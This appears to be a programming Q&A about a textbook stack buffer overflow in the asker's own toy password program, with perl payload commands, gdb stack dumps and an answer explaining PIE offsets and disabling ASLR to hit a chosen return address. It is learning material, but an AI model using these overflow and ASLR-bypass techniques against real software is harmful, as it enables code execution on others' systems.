cmemorystackbuffer-overflow

Overflowing a stack frame with 0x00001292 in C

I'm following a book on hacking, currently studying buffer overflows. My silly_password.c program takes a command line argument which overflows into the return address of a function. I have been able to fill the return address with arbitrary values. For example, ./silly_password.c AAAAAAAAAAAAAAAAAAAAAAA fills the return address with 0x41414141, since 0x41 is the ASCII encoding of the letter A.

I want to fill the return address with 0x00001292, since this is the address of a particular instruction in the program which I want to maliciously execute. Calling gdb -q --args silly_password $(perl -e 'print "\x92\x12" x 20;') effectively fills the registers in the stack with 0x12921292, which is close to 0x00001292, the value I want.

─── Variables ───────────────────────────────────────────────────────────────────────────────
arg password = 0x7fffffffe0b7 "\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222…
loc password_buffer = "\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222\022", auth_flag = 0
─────────────────────────────────────────────────────────────────────────────────────────────
>>> x/32xw $sp
0x7fffffffdb60: 0x00000000  0x00000000  0xffffe0b7  0x00007fff
0x7fffffffdb70: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffdb80: 0x12921292  0x12921292  0x12921292  0x12921292
0x7fffffffdb90: 0x12921292  0x12921292  0x12921292  0x12921292
0x7fffffffdba0: 0x12921292  0x12921292  0xf7ffda00  0x00000002
0x7fffffffdbb0: 0x00000002  0x00000000  0xf7c23a90  0x00007fff
0x7fffffffdbc0: 0xffffdcb0  0x00007fff  0x5555523a  0x00005555
0x7fffffffdbd0: 0x55554040  0x00000002  0xffffdcc8  0x00007fff

We see that the password buffer is effectively overflowing. However, if I try to add the necessary zeroes, running gdb with

gdb -q --args silly_password $(perl -e 'print "\x92\x12\x00\x00" x 20;')

my stack looks as follows:

─── Variables ───────────────────────────────────────────────────────────────────────────────
arg password = 0x7fffffffda9f "\222\022": -110 '\222'
loc password_buffer = "\222\022", '\000' <repeats 13 times>, auth_flag = 0
─────────────────────────────────────────────────────────────────────────────────────────────
>>> x/32xw $sp
0x7fffffffbc40: 0x00000000  0x00000000  0xffffda9f  0x00007fff
0x7fffffffbc50: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffbc60: 0x00001292  0x00000000  0x00000000  0x00000000
0x7fffffffbc70: 0xffffbc90  0x00007fff  0x5555528e  0x00005555
0x7fffffffbc80: 0xffffbda8  0x00007fff  0xf7ffdab0  0x00000322
0x7fffffffbc90: 0x00000322  0x00000000  0xf7c23a90  0x00007fff
0x7fffffffbca0: 0xffffbd90  0x00007fff  0x5555523a  0x00005555
0x7fffffffbcb0: 0x55554040  0x00000322  0xffffbda8  0x00007fff

Now it is not overflowing at all!

Why does my first command (the one only with \x92\x12) effectively produces an overflow while the latter doesn't? And how could I produce an overflow of the kind shown in the first stack, but filling the registers with the correct value of 0x00001292?

For reference, the relevant part of the code is:


int check_authentication(char *password) {
    char password_buffer[16];
    volatile int auth_flag = 0;
    strcpy(password_buffer, password);
    if(strcmp(password_buffer, "brillig") == 0)
        auth_flag = 1;
    if(strcmp(password_buffer, "outgrabe") == 0)
        auth_flag = 1;
    return auth_flag; # THIS IS THE LINE BREAK OF THE STACKS SHOWED ABOVE
}
Solution

  • You most definitely do not want 0x00001292. That's not a valid address. It may seem like that is the value you want, but that is just because you are looking (statically) at a Position Independent Executable (PIE) that has no fixed based address and will be positioned randomly in memory by the OS. It may seem like the binary itself has base address 0x0 or that .text starts at 0x1000, but that's just an offset. See also: Why does the VirtAddr of the LOAD segment in my ELF binary show as 0x0000000000000000?

    You have two options:

    1. Re-compile your program as non-PIE. You can do this by adding -no-pie -fno-pie to the GCC command line. Then, verify that the new address is not as low as it was before. Expect something like 0x401292 or anyway higher than 0x10000 (which is usually the default lowest address for programs on Linux).

    2. Keep using the PIE program you have, but start it under GDB first and take a look at the memory map:

      gdb -q ./silly_password

(gdb) start AAAAAAAAAAA
...

(gdb) info inferior
  Num  Description       Executable
* 1    process 11107     ./silly_password

(gdb) !cat /proc/11107/maps
555555554000-555555558000 r--p 00000000 103:05 1443328 ./silly_password <=== base
555555558000-55555556b000 r-xp 00004000 103:05 1443328 ./silly_password <=== .text
55555556b000-555555574000 r--p 00017000 103:05 1443328 ./silly_password
555555575000-555555576000 r--p 00020000 103:05 1443328 ./silly_password
555555576000-555555577000 rw-p 00021000 103:05 1443328 ./silly_password
...

    Take the base (in the above example 0x555555554000) and sum it to the offset you have: 0x555555554000 + 0x1292 == 0x555555555292. That's the address you want.

    See also my answer here for more info: In a C program, does return address of a function frame point to the .text section?

    I would recommend the first option as it is a lot simpler to deal with. Using the second option, if you run your program without GDB it will be mapped at random addresses by the OS every time. You will have to locally disable ASLR if you don't want the address to keep changing. You can do this starting a new shell with using setarch $(uname -m) -R /bin/bash or in other ways (just google "how to disable ASLR"). GDB disables randomization by default for you if you start the program under it (not if you attach after starting).